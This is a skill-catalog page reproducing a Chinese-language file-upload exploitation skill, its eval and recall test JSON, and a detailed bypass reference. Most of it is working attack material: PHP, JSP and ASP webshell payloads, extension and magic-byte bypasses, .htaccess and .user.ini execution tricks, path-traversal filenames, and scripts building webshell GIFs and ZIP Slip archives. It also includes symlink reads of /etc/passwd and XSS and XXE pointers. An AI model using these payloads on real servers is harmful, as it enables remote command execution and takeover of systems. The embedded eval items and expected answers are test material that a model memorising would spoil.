
File Upload Methodology
- 15 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
file-upload-methodology is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- file-upload-methodology
- AI & Agent Building
- AI-coding skill
File Upload Methodology by the numbers
- 15 all-time installs (skills.sh)
- Ranked #11,187 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill file-upload-methodologyAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 15 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
文件上传漏洞方法论
⛔ 深入参考(必读)
- 需要扩展名/Content-Type/Magic Bytes 绕过详解、路径穿越、.htaccess 覆盖、.user.ini 利用、图片马二次渲染绕过、ZIP 解压利用 → references/upload-bypass.md
---
Phase 0: 上传功能发现与分析(最先执行!)
1. 寻找 <form enctype="multipart/form-data"> 或 <input type="file"> 2. 常见端点:/upload, /api/upload, /avatar, /import 3. 关键收集:允许的文件类型、上传后存储路径、服务器技术栈(PHP/Java/Python)
陷阱:前端 JS 验证可以直接绕过,真正的限制在后端。
Phase 1: 基础上传测试
1. 先上传正常文件(.txt)确认功能正常,记录返回的文件路径 2. 访问上传的文件 URL — 确认可访问 3. 上传 .php 文件,观察是否被拒绝
路径猜解:/uploads/, /upload/, /files/, /static/uploads/, /images/
Phase 2: 绕过决策树
上传被拒绝?
├─ 扩展名限制(黑名单)→ .phtml/.php5/大小写/.php./双写 → [references/upload-bypass.md](references/upload-bypass.md)
├─ 扩展名限制(白名单)→ .htaccess 覆盖(Apache)或 .user.ini(通用)→ [references/upload-bypass.md](references/upload-bypass.md)
├─ Content-Type 限制 → 改为 image/jpeg
├─ 文件头检查 → GIF89a + webshell
├─ 二次渲染检查 → 图片马(GIF 优先)→ [references/upload-bypass.md](references/upload-bypass.md)
└─ 三层都限制 → 组合绕过:扩展名 + Content-Type + 文件头Phase 3: Webshell Payload
PHP(最常见):
<?php system($_GET['cmd']); ?>精简版(绕过关键字):<?=$_GET[1]?>
JSP: <%Runtime.getRuntime().exec(request.getParameter("cmd"));%> ASP: <%eval request("cmd")%>
上传后验证
http://target/uploads/shell.php?cmd=id陷阱:访问 .php 返回源代码 → 该目录禁止执行,需要路径穿越或 .htaccess。
注意事项
- 上传成功 ≠ 可利用:必须访问验证执行
- 服务端可能 hash 重命名:从响应中获取新文件名
- 记录每次尝试的扩展名和响应:快速排除无效绕过
.htaccess 攻击
- 两步法:先上传 .htaccess 配置 PHP 解析规则,再上传 shell.jpg
上传≠执行
- 上传成功不代表能利用(上传≠执行),需要确认文件可被访问和解析
- 配合文件包含(LFI)等其他漏洞执行上传的 webshell
{
"skill_name": "file-upload-methodology",
"evals": [
{
"id": 1,
"name": "upload-htaccess-override",
"prompt": "目标白名单只允许上传 .jpg 和 .png。服务器是 Apache。请描述利用 .htaccess 实现 webshell 执行的完整步骤。",
"expected_output": ".htaccess AddType 覆盖让 .jpg 当 PHP 执行",
"expectations": [
".htaccess|AddType|application/x-httpd-php|.jpg",
"先上传.htaccess|再上传shell.jpg|两步",
"GIF89a|文件头|图片马|magic bytes",
"Apache|AllowOverride|All|生效条件",
"Nginx不支持|.htaccess|Apache专用"
],
"required_terms": [
".htaccess",
"application/x-httpd-php",
".jpg"
]
},
{
"id": 2,
"name": "upload-not-execution-trap",
"prompt": "你成功上传了 shell.php 到 /uploads/ 目录,访问 http://target/uploads/shell.php 返回了 PHP 源代码文本而非执行结果。请分析原因和解决方法。",
"expected_output": "上传成功 ≠ 可执行,该目录可能禁止 PHP 执行",
"expectations": [
"目录禁止执行|PHP执行被禁|配置限制",
"上传≠执行|上传成功不代表能利用",
"路径穿越|../|写到其他可执行目录",
".htaccess|覆盖配置|启用PHP执行",
"文件包含|LFI|配合其他漏洞执行"
],
"required_terms": [
".htaccess",
"../",
"LFI"
]
},
{
"id": 3,
"name": "upload-three-layer-bypass",
"prompt": "后端同时检查:1) 文件扩展名(白名单 .jpg)2) Content-Type(必须 image/jpeg)3) 文件内容 magic bytes(检查 JFIF/PNG 头)。请描述如何同时绕过这三层检测上传 PHP webshell。",
"expected_output": "三层组合绕过:扩展名+Content-Type+Magic Bytes",
"expectations": [
"GIF89a|\\x89PNG|文件头|magic bytes伪造",
"Content-Type|image/jpeg|MIME类型修改",
"扩展名|.php.jpg|.phtml|双后缀|特殊扩展",
"三层同时|组合绕过|全部满足",
"<?php|webshell代码|文件头后面追加"
],
"required_terms": [
"\\x89PNG",
"image/jpeg",
".php.jpg"
]
},
{
"id": 4,
"name": "upload-path-traversal-filename",
"prompt": "上传功能的文件名从 multipart 的 filename 字段取值。你想把 webshell 写到 Web 根目录 /var/www/html/ 而非 /var/www/html/uploads/。请描述具体的 filename 构造方法。",
"expected_output": "filename 路径穿越将文件写到目标目录",
"expectations": [
"../shell.php|../../shell.php|路径穿越",
"filename|multipart|修改filename字段",
"....//|双写绕过|..被删除时",
"%2e%2e%2f|URL编码|编码绕过",
"Web根目录|/var/www/html|可执行路径"
],
"required_terms": [
"../shell.php",
"../../shell.php",
"/var/www/html"
]
}
]
}
{
"skill_id": "file-upload-methodology",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "精确关键词搜索",
"keywords": [
"file upload",
"文件上传",
"upload",
"上传漏洞"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "绕过技术搜索",
"keywords": [
"webshell",
"Content-Type绕过",
"双扩展名",
"MIME"
]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被 LFI 召回",
"keywords": [
"local file inclusion",
"php://filter base64"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "file-upload-scenario",
"scenario": "目标有文件上传功能,支持头像上传。请搜索文件上传漏洞利用方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "upload|file upload|文件上传"
},
{
"tool": "read_skill",
"id": "file-upload-methodology"
}
]
}
]
}
文件上传绕过技术详解
扩展名绕过(最常见的限制)
黑名单绕过(禁止 .php):
- 双扩展名:
shell.php.jpg(Apache 从右解析),shell.jpg.php - 大小写:
shell.PhP,shell.pHP,shell.Php - 特殊扩展名:
.phtml,.php5,.php7,.phar,.phps,.shtml - 末尾点号:
shell.php.(Windows 会自动去掉末尾点) - 末尾空格:
shell.php或shell.php%20 - 空字节截断:
shell.php%00.jpg(PHP < 5.3.4) - 双写:
shell.pphphp(如果后端删除 "php")
白名单绕过(只允许 .jpg .png):
- 需要配合 .htaccess 覆盖(见下方)
- 或路径穿越写到其他可执行目录
Content-Type 绕过
后端检查 Content-Type 头:
将 Content-Type 从 application/x-php 改为:
- image/jpeg
- image/png
- image/gif
- application/octet-stream文件头绕过(Magic Bytes)
后端检查文件内容开头字节:
GIF89a<?php system($_GET['cmd']); ?>或 PNG 头:
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']); ?>组合绕过:同时改扩展名 + Content-Type + 文件头,三层都通过。
路径穿越上传
修改 multipart 中的 filename 字段:
filename="../shell.php"
filename="../../shell.php"
filename="../../../var/www/html/shell.php"
filename="....//....//shell.php" (双写绕过)
filename="%2e%2e%2fshell.php" (URL编码)目标:将文件写到 Web 根目录或其他可执行目录。
.htaccess 覆盖(Apache 专用 — 非常有效!)
如果白名单只允许 .jpg/.png,但能上传 .htaccess:
Step 1: 上传 .htaccess 文件,内容:
AddType application/x-httpd-php .jpg这让 Apache 把 .jpg 文件当 PHP 执行。
Step 2: 上传 shell.jpg,内容:
GIF89a<?php system($_GET['cmd']); ?>Step 3: 访问 http://target/uploads/shell.jpg?cmd=id
陷阱:
- .htaccess 只在 Apache + AllowOverride All 时生效
- Nginx 不支持 .htaccess
- 上传 .htaccess 时文件名不能改(必须精确匹配)
.user.ini + auto_prepend_file(非 Apache 通杀)
原理:PHP 的 .user.ini 文件等同于 per-directory 的 php.ini。auto_prepend_file 指令让每个 PHP 请求自动 include 指定文件。
条件:
- 能上传
.user.ini文件 - 目标目录下有至少一个
.php文件(作为入口) - Nginx + PHP-FPM 或 Apache + mod_php 都支持
Step 1:上传 .user.ini 文件:
auto_prepend_file=shell.jpgStep 2:上传 shell.jpg(内容是 PHP 代码):
GIF89a<?php system($_GET['cmd']); ?>Step 3:访问同目录下任意 .php 文件即可触发 webshell:
curl 'http://target/uploads/index.php?cmd=id'优势:不需要 Apache(Nginx 也生效),不需要修改扩展名,几乎无法被检测。
注意:.user.ini 有缓存,默认 user_ini.cache_ttl = 300(5分钟),上传后可能需要等待几分钟才生效。
---
图片马 + 二次渲染绕过
问题:某些应用使用 imagecreatefromjpeg() / imagecreatefrompng() 等函数对上传图片进行二次渲染(压缩/resize),渲染后 webshell 代码被破坏。
GIF 二次渲染绕过
GIF 最容易绕过。某些区域在渲染前后保持不变:
# Step 1: 准备一个合法 GIF
cp normal.gif shell.gif
# Step 2: 用十六进制编辑器在 GIF 文件头后面(注释块内)插入 PHP 代码
# 或使用脚本:
python3 -c "
import struct
gif = open('normal.gif','rb').read()
# 在 GIF89a 头后插入注释扩展块
payload = b'<?=system(\$_GET[1]);?>'
# GIF 注释扩展块: 0x21 0xFE [size] [data] 0x00
comment = b'\x21\xfe' + bytes([len(payload)]) + payload + b'\x00'
out = gif[:6] + comment + gif[6:]
open('shell.gif','wb').write(out)
"PNG 二次渲染绕过
PNG 通过 IDAT 块注入。需要找到渲染后不变的数据区域:
# Step 1: 上传一张正常 PNG,下载渲染后的版本
# Step 2: 对比原始和渲染后的文件,找到不变的字节区域
# Step 3: 在不变区域替换为 PHP 代码
# 使用专用工具:
php -r "
\$img = imagecreatefrompng('normal.png');
\$payload = '<?=system(\$_GET[1]);?>';
// 在 PLTE 块或 IDAT 块中嵌入
// 需要逐字节测试哪些位置在 imagecreatefrompng→imagepng 后保持不变
"JPEG 二次渲染绕过
JPEG 最难(有损压缩)。通常在 EXIF 数据或 DQT 量化表中注入:
# 使用 exiftool 注入 EXIF Comment
exiftool -Comment='<?php system($_GET["cmd"]); ?>' normal.jpg
# 或在 JFIF APP0 后注入
# 需要 imagecreatefromjpeg() 不清除注释数据实际建议:GIF 绕过成功率最高,优先用 GIF。如果目标只允许 JPEG/PNG,再尝试对应方法。
---
ZIP 上传解压利用
ZIP Slip(路径穿越)
上传 ZIP 文件时,如果服务端解压且不检查文件名中的 ../:
#!/usr/bin/env python3
import zipfile
import io
# 创建包含路径穿越的 ZIP
zf = zipfile.ZipFile('/tmp/evil.zip', 'w')
zf.writestr('../../var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>')
zf.close()# 或用命令行
echo '<?php system($_GET["cmd"]); ?>' > shell.php
ln -s shell.php '../../var/www/html/shell.php'
zip --symlinks /tmp/evil.zip '../../var/www/html/shell.php'ZIP 内含 Webshell
import zipfile
zf = zipfile.ZipFile('/tmp/evil.zip', 'w')
zf.writestr('shell.php', '<?php system($_GET["cmd"]); ?>')
zf.close()如果应用解压到 Web 目录下,直接访问解压后的 shell.php。
符号链接攻击
# 创建指向 /etc/passwd 的符号链接
ln -s /etc/passwd link
zip --symlinks evil.zip link
# 上传后,应用解压并展示 link 内容 → 读取 /etc/passwd---
其他利用方式
- 覆盖应用文件:路径穿越覆盖 index.php / web.config / .env
- SVG XSS:
<svg><script>alert(1)</script></svg> - XXE via 文件上传:上传 .xml / .xlsx / .docx 含 XXE payload
- 竞争条件:文件先保存后检查 → 在检查前访问